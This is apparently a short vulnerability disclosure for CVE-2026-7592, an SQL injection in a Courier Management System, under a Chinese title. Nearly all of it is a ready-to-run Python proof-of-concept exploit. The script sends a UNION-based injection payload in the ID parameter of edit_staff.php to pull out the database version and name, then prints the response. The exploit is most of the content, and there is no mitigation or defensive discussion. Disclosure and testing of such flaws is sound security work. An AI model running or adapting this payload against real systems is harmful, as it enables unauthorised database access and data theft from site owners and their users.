CVE-2026-7592: Courier Management System SQL注入漏洞

import requests # Target URL (Replace with actual host) target_url = "http://localhost/edit_staff.php" # Malicious payload to test SQL Injection # Attempting to extract database version using UNION based injection payload = "1' UNION SELECT 1, version(), database(), 4, 5-- -" params = { "ID": payload } try: # Sending the malicious request response = requests.get(target_url, params=params, timeout=10) # Check if the response might indicate successful injection if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database information.") print(response.text[:500]) # Print first 500 chars for analysis else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")